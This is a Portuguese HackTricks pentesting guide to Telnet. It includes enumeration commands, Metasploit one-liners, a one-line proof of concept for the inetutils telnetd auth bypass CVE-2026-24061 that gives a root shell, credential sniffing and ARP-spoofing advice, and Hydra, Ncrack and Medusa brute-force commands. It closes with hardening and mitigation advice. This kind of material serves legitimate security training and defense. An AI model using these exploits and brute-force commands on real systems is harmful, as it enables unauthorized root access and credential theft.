23 - Pentesting Telnet

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

Telnet é um protocolo de rede que fornece aos usuários uma forma insegura de acessar um computador pela rede.

Porta padrão: 23

23/tcp open  telnet

Enumeração

nc -vn <IP> 23

Toda a enumeração interessante pode ser realizada por nmap:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

O script telnet-ntlm-info.nse irá obter informações NTLM (versões do Windows).

From the telnet RFC: No Protocolo TELNET existem várias “opções” que serão sancionadas e podem ser usadas com a estrutura “DO, DON’T, WILL, WON’T” para permitir que um cliente e um servidor concordem em usar um conjunto mais elaborado (ou talvez apenas diferente) de convenções para sua conexão TELNET. Tais opções podem incluir a mudança do conjunto de caracteres, o modo de echo, etc.

Sei que é possível enumerar essas opções, mas não sei como — avise-me se souber como.

Enumerar Opções / Recursos do Telnet

Telnet usa IAC + DO/DONT/WILL/WONT nas negociações para habilitar opções. Você pode observar as opções suportadas capturando a negociação inicial e sondando por recursos específicos.

Sondas de opções/recursos do Nmap

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

O script telnet-encryption verifica se a opção ENCRYPT é suportada; algumas implementações historicamente trataram essa opção incorretamente e foram vulneráveis, mas o script apenas verifica o suporte. telnet-ntlm-info revela metadados NTLM (NetBIOS/DNS/OS build) quando o Microsoft Telnet NTLM está habilitado. telnet-brute é um auditor NSE de brute-force para Telnet.

Brute force

Arquivo de configuração

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Comandos Automáticos

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Vulnerabilidades Recentes (2022-2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Validação inadequada de entrada no serviço telnet permite que atacantes remotos façam login usando hard-coded credentials e injetem comandos do SO; corrigido pelo firmware 1.04B05 ou posterior.
  • CVE-2023-40478 – NETGEAR RAX30: Buffer overflow baseado em stack no Telnet CLI passwd permite execução de código com privilégios root a partir de rede adjacente; autenticação é necessária, mas pode ser contornada.
  • CVE-2022-39028 – GNU inetutils telnetd: Uma sequência de dois bytes (0xff 0xf7 / 0xff 0xf8) pode disparar uma desreferência de ponteiro NULL em telnetd, e quedas repetidas podem fazer inetd desabilitar o serviço (DoS).

Tenha essas CVEs em mente durante a triagem de vulnerabilidades — se o alvo estiver executando um firmware não corrigido ou um daemon Telnet legado do inetutils, você pode ter um caminho direto para execução de código ou um DoS disruptivo.

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Crítico)

Primitive: Telnet NEW_ENVIRON permite que clientes enviem variáveis de ambiente durante a negociação de opções; o inetutils telnetd substitui %U no seu template de login por getenv("USER") e passa isso diretamente para /usr/bin/login, permitindo argv-level option injection (sem expansão de shell). Causa raiz: versões 1.9.3–2.7 expandem %U sem filtragem, então um valor USER começando com - é interpretado como uma flag do login. Por exemplo, %U se torna -f root, resultando em /usr/bin/login -h <hostname> "-f root" e ignorando a autenticação via login -f.

Exploit flow:

  1. Conecte-se ao serviço Telnet e negocie NEW_ENVIRON para definir USER=-f root.
  2. telnetd monta o argv do login incluindo o valor %U controlado pelo atacante.
  3. /usr/bin/login interpreta -f root como “usuário pré-autenticado root” e inicia uma shell com privilégios root.

PoC

# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>

Nota de correção: inetutils 2.7-2 introduz um helper sanitize() que rejeita valores que começam com - ou que contenham espaços/metacaracteres antes de substituí-los no argv de login, bloqueando option injection. Detecção/verificação: identifique daemons expostos com telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, ou netstat -tlnp | grep :23.

Mitigações

  • Corrija/atualize os pacotes afetados imediatamente (por exemplo, as correções do Debian estão em 2:2.4-2+deb12u2, 2:2.6-3+deb13u1, e 2:2.7-2).
  • Desative o Telnet ou restrinja o acesso a redes de gerenciamento confiáveis enquanto aplica as correções.

Sniffing Credentials & Man-in-the-Middle

Telnet transmite tudo, incluindo credenciais, em clear-text. Duas formas rápidas de capturá-las:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Para MITM ativo, combine ARP spoofing (por exemplo arpspoof/ettercap) com os mesmos filtros de sniffing para coletar senhas em redes comutadas.

Brute-force Automatizado / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

A maioria dos botnets IoT (variantes Mirai) ainda escaneia a porta 23 com pequenos dicionários de credenciais padrão — espelhar essa lógica pode identificar rapidamente dispositivos fracos.

Exploração & Pós-Exploração

Metasploit tem vários módulos úteis:

  • auxiliary/scanner/telnet/telnet_version – banner & option enumeration.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded bruteforce.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).
  • exploit/linux/mips/netgear_telnetenable – enables telnet service with a crafted packet on many NETGEAR routers.

Depois que um shell é obtido, lembre-se de que TTYs geralmente são limitados; faça upgrade com python -c 'import pty;pty.spawn("/bin/bash")' ou use o HackTricks TTY tricks.

Endurecimento & Detecção (canto da Blue team)

  1. Prefira SSH e desative o serviço Telnet completamente.
  2. Se Telnet for necessário, vincule-o apenas às VLANs de gerenciamento, aplique ACLs e envolva o daemon com TCP wrappers (/etc/hosts.allow).
  3. Substitua implementações legadas de telnetd por ssl-telnet ou telnetd-ssl para adicionar criptografia de transporte, mas isso protege apenas os dados em trânsito — a adivinhação de senhas continua trivial.
  4. Monitore tráfego de saída para a porta 23; compromissos frequentemente geram reverse shells sobre Telnet para contornar filtros de egress HTTP estritos.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks